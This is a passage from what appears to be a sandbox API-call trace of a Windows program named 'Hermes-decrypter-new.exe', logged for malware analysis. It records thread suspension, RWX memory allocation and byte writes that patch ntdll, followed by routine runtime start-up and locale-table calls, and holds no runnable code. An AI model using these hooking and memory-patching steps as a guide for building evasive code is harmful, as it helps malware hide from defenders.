(dwDesiredAccess=0x2, bInheritHandle=0, dwThreadId=0xc70) returned 0x148 [0138.543] RtlAllocateHeap (HeapHandle=0x2aa0000, Flags=0x0, Size=0x4) returned 0x2aa09e0 [0138.543] CloseHandle (hObject=0x14c) returned 1 [0138.543] SuspendThread (hThread=0x148) returned 0x0 [0138.544] GetModuleHandleA (lpModuleName="ntdll.dll") returned 0x77bb0000 [0138.545] RtlAllocateHeap (HeapHandle=0x2aa0000, Flags=0x0, Size=0xc) returned 0x2aa5858 [0138.545] RtlAllocateHeap (HeapHandle=0x2aa0000, Flags=0x0, Size=0x17) returned 0x2aa04e0 [0138.547] RtlAllocateHeap (HeapHandle=0x2aa0000, Flags=0x0, Size=0x10) returned 0x2aa58a0 [0138.547] VirtualAlloc (lpAddress=0x0, dwSize=0x1000, flAllocationType=0x3000, flProtect=0x40) returned 0xe50000 [0138.547] GetCurrentProcess () returned 0xffffffff [0138.547] WriteProcessMemory (in: hProcess=0xffffffff, lpBaseAddress=0xe50005, lpBuffer=0x19e934*, nSize=0x5, lpNumberOfBytesWritten=0x0 | out: lpBuffer=0x19e934*, lpNumberOfBytesWritten=0x0) returned 1 [0138.547] GetCurrentProcess () returned 0xffffffff [0138.548] WriteProcessMemory (in: hProcess=0xffffffff, lpBaseAddress=0xe5000f, lpBuffer=0x19e938*, nSize=0x6, lpNumberOfBytesWritten=0x0 | out: lpBuffer=0x19e938*, lpNumberOfBytesWritten=0x0) returned 1 [0138.548] GetCurrentProcess () returned 0xffffffff [0138.548] WriteProcessMemory (in: hProcess=0xffffffff, lpBaseAddress=0x77c22210, lpBuffer=0x19e934*, nSize=0x5, lpNumberOfBytesWritten=0x0 | out: lpBuffer=0x19e934*, lpNumberOfBytesWritten=0x0) returned 1 [0138.548] GetCurrentProcess () returned 0xffffffff [0138.549] VirtualProtect (in: lpAddress=0xe50000, dwSize=0x1000, flNewProtect=0x20, lpflOldProtect=0x19e974 | out: lpflOldProtect=0x19e974*=0x40) returned 1 [0138.549] GetCurrentProcess () returned 0xffffffff [0138.550] RtlAllocateHeap (HeapHandle=0x2aa0000, Flags=0x0, Size=0xc) returned 0x2aa58e8 [0138.550] RtlAllocateHeap (HeapHandle=0x2aa0000, Flags=0x0, Size=0x13) returned 0x2aa0500 [0138.552] RtlAllocateHeap (HeapHandle=0x2aa0000, Flags=0x0, Size=0x10) returned 0x2aa57f8 [0138.552] VirtualAlloc (lpAddress=0x0, dwSize=0x1000, flAllocationType=0x3000, flProtect=0x40) returned 0xe60000 [0138.552] GetCurrentProcess () returned 0xffffffff [0138.552] WriteProcessMemory (in: hProcess=0xffffffff, lpBaseAddress=0xe60007, lpBuffer=0x19e934*, nSize=0x5, lpNumberOfBytesWritten=0x0 | out: lpBuffer=0x19e934*, lpNumberOfBytesWritten=0x0) returned 1 [0138.552] GetCurrentProcess () returned 0xffffffff [0138.552] WriteProcessMemory (in: hProcess=0xffffffff, lpBaseAddress=0xe60013, lpBuffer=0x19e938*, nSize=0x6, lpNumberOfBytesWritten=0x0 | out: lpBuffer=0x19e938*, lpNumberOfBytesWritten=0x0) returned 1 [0138.552] GetCurrentProcess () returned 0xffffffff [0138.552] WriteProcessMemory (in: hProcess=0xffffffff, lpBaseAddress=0x77c5a520, lpBuffer=0x19e934*, nSize=0x5, lpNumberOfBytesWritten=0x0 | out: lpBuffer=0x19e934*, lpNumberOfBytesWritten=0x0) returned 1 [0138.553] GetCurrentProcess () returned 0xffffffff [0138.554] GetCurrentProcess () returned 0xffffffff [0138.554] VirtualProtect (in: lpAddress=0xe60000, dwSize=0x1000, flNewProtect=0x20, lpflOldProtect=0x19e974 | out: lpflOldProtect=0x19e974*=0x40) returned 1 [0138.554] GetCurrentProcess () returned 0xffffffff [0138.555] ResumeThread (hThread=0x148) returned 0x1 [0138.555] CloseHandle (hObject=0x148) returned 1 [0138.555] HeapFree (in: hHeap=0x2aa0000, dwFlags=0x0, lpMem=0x2aa09e0 | out: hHeap=0x2aa0000) returned 1 [0138.556] NtProtectVirtualMemory (in: ProcessHandle=0xffffffffffffffff, BaseAddress=0x19fac0*=0x426000, NumberOfBytesToProtect=0x19fab8, NewAccessProtection=0x20, OldAccessProtection=0x19fe00 | out: BaseAddress=0x19fac0*=0x426000, NumberOfBytesToProtect=0x19fab8, OldAccessProtection=0x19fe00*=0x40) returned 0x0 [0138.609] NtProtectVirtualMemory (in: ProcessHandle=0xffffffffffffffff, BaseAddress=0x19fac0*=0x41b000, NumberOfBytesToProtect=0x19fab8, NewAccessProtection=0x2, OldAccessProtection=0x19fe00 | out: BaseAddress=0x19fac0*=0x41b000, NumberOfBytesToProtect=0x19fab8, OldAccessProtection=0x19fe00*=0x4) returned 0x0 [0138.609] NtProtectVirtualMemory (in: ProcessHandle=0xffffffffffffffff, BaseAddress=0x19fac0*=0x401000, NumberOfBytesToProtect=0x19fab8, NewAccessProtection=0x20, OldAccessProtection=0x19fe00 | out: BaseAddress=0x19fac0*=0x401000, NumberOfBytesToProtect=0x19fab8, OldAccessProtection=0x19fe00*=0x40) returned 0x0 [0138.610] NtProtectVirtualMemory (in: ProcessHandle=0xffffffffffffffff, BaseAddress=0x19fac0*=0x44b000, NumberOfBytesToProtect=0x19fab8, NewAccessProtection=0x4, OldAccessProtection=0x19fe00 | out: BaseAddress=0x19fac0*=0x44b000, NumberOfBytesToProtect=0x19fab8, OldAccessProtection=0x19fe00*=0x20) returned 0x0 [0138.610] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x19ff74 | out: lpSystemTimeAsFileTime=0x19ff74*(dwLowDateTime=0xcc173cee, dwHighDateTime=0x1d51251)) [0138.611] GetCurrentProcessId () returned 0xc14 [0138.611] GetCurrentThreadId () returned 0x390 [0138.611] GetTickCount () returned 0x36d42 [0138.611] QueryPerformanceCounter (in: lpPerformanceCount=0x19ff6c | out: lpPerformanceCount=0x19ff6c*=22461449032) returned 1 [0138.611] HeapCreate (flOptions=0x0, dwInitialSize=0x1000, dwMaximumSize=0x0) returned 0x2c80000 [0138.611] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x75e90000 [0138.611] GetProcAddress (hModule=0x75e90000, lpProcName="FlsAlloc") returned 0x75ea4ae0 [0138.612] GetProcAddress (hModule=0x75e90000, lpProcName="FlsGetValue") returned 0x75ea4b20 [0138.612] GetProcAddress (hModule=0x75e90000, lpProcName="FlsSetValue") returned 0x75ea4b40 [0138.612] GetProcAddress (hModule=0x75e90000, lpProcName="FlsFree") returned 0x75ea4b00 [0138.612] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x75e90000 [0138.612] GetProcAddress (hModule=0x75e90000, lpProcName="EncodePointer") returned 0x77c129e0 [0138.612] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x75e90000 [0138.612] GetProcAddress (hModule=0x75e90000, lpProcName="EncodePointer") returned 0x77c129e0 [0138.612] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x75e90000 [0138.612] GetProcAddress (hModule=0x75e90000, lpProcName="EncodePointer") returned 0x77c129e0 [0138.612] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x75e90000 [0138.613] GetProcAddress (hModule=0x75e90000, lpProcName="EncodePointer") returned 0x77c129e0 [0138.613] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x75e90000 [0138.613] GetProcAddress (hModule=0x75e90000, lpProcName="EncodePointer") returned 0x77c129e0 [0138.613] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x75e90000 [0138.613] GetProcAddress (hModule=0x75e90000, lpProcName="EncodePointer") returned 0x77c129e0 [0138.613] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x75e90000 [0138.613] GetProcAddress (hModule=0x75e90000, lpProcName="EncodePointer") returned 0x77c129e0 [0138.614] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x75e90000 [0138.614] GetProcAddress (hModule=0x75e90000, lpProcName="DecodePointer") returned 0x77c11ec0 [0138.614] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x8, Size=0x214) returned 0x2c805a8 [0138.614] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x75e90000 [0138.614] GetProcAddress (hModule=0x75e90000, lpProcName="DecodePointer") returned 0x77c11ec0 [0138.614] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x75e90000 [0138.614] GetProcAddress (hModule=0x75e90000, lpProcName="EncodePointer") returned 0x77c129e0 [0138.614] GetProcAddress (hModule=0x75e90000, lpProcName="DecodePointer") returned 0x77c11ec0 [0138.615] GetCurrentThreadId () returned 0x390 [0138.615] GetStartupInfoA (in: lpStartupInfo=0x19fee0 | out: lpStartupInfo=0x19fee0*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\FD1HVy\\Hermes-decrypter-new.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x401, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x10001, hStdError=0x0)) [0138.615] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x8, Size=0x800) returned 0x2c807c8 [0138.615] GetStdHandle (nStdHandle=0xfffffff6) returned 0x0 [0138.615] GetStdHandle (nStdHandle=0xfffffff5) returned 0x0 [0138.615] GetStdHandle (nStdHandle=0xfffffff4) returned 0x0 [0138.615] SetHandleCount (uNumber=0x20) returned 0x20 [0138.615] GetCommandLineA () returned="\"C:\\FD1HVy\\Hermes-decrypter-new.exe\" " [0138.615] GetEnvironmentStringsW () returned 0xeac5e0* [0138.615] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ALLUSERSPROFILE=C:\\ProgramData", cchWideChar=1381, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1381 [0138.615] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0x565) returned 0x2c80fd0 [0138.616] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ALLUSERSPROFILE=C:\\ProgramData", cchWideChar=1381, lpMultiByteStr=0x2c80fd0, cbMultiByte=1381, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ALLUSERSPROFILE=C:\\ProgramData", lpUsedDefaultChar=0x0) returned 1381 [0138.616] FreeEnvironmentStringsW (penv=0xeac5e0) returned 1 [0138.616] GetLastError () returned 0x0 [0138.616] SetLastError (dwErrCode=0x0) [0138.616] GetLastError () returned 0x0 [0138.616] SetLastError (dwErrCode=0x0) [0138.616] GetLastError () returned 0x0 [0138.616] SetLastError (dwErrCode=0x0) [0138.616] GetACP () returned 0x4e4 [0138.616] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0x220) returned 0x2c81540 [0138.616] GetLastError () returned 0x0 [0138.616] SetLastError (dwErrCode=0x0) [0138.616] IsValidCodePage (CodePage=0x4e4) returned 1 [0138.616] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x19fec0 | out: lpCPInfo=0x19fec0) returned 1 [0138.616] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x19f98c | out: lpCPInfo=0x19f98c) returned 1 [0138.616] GetLastError () returned 0x0 [0138.616] SetLastError (dwErrCode=0x0) [0138.617] GetStringTypeW (in: dwInfoType=0x1, lpSrcStr="", cchSrc=1, lpCharType=0x19f91c | out: lpCharType=0x19f91c) returned 1 [0138.617] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x19fda0, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0138.617] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x19fda0, cbMultiByte=256, lpWideCharStr=0x19f708, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ歪氮男AĀ") returned 256 [0138.617] GetStringTypeW (in: dwInfoType=0x1, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ歪氮男AĀ", cchSrc=256, lpCharType=0x19f9a0 | out: lpCharType=0x19f9a0) returned 1 [0138.617] GetLastError () returned 0x0 [0138.617] SetLastError (dwErrCode=0x0) [0138.617] LCMapStringW (in: Locale=0x0, dwMapFlags=0x100, lpSrcStr="", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0138.617] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x19fda0, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0138.617] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x19fda0, cbMultiByte=256, lpWideCharStr=0x19f6d8, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ煻AĀ") returned 256 [0138.617] LCMapStringW (in: Locale=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ煻AĀ", cchSrc=256, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 256 [0138.617] LCMapStringW (in: Locale=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ煻AĀ", cchSrc=256, lpDestStr=0x19f4c8, cchDest=256 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ") returned 256 [0138.617] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchWideChar=256, lpMultiByteStr=0x19fca0, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\xff\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xd7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\x10\x49\x03\xf6\xd8\xfe\x19", lpUsedDefaultChar=0x0) returned 256 [0138.617] GetLastError () returned 0x0 [0138.617] SetLastError (dwErrCode=0x0) [0138.617] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x19fda0, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0138.617] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x19fda0, cbMultiByte=256, lpWideCharStr=0x19f6f8, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ煻AĀ") returned 256 [0138.617] LCMapStringW (in: Locale=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ煻AĀ", cchSrc=256, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 256 [0138.617] LCMapStringW (in: Locale=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ煻AĀ", cchSrc=256, lpDestStr=0x19f4e8, cchDest=256 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸĀ") returned 256 [0138.617] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸĀ", cchWideChar=256, lpMultiByteStr=0x19fba0, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x8a\x9b\x8c\x9d\x8e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xf7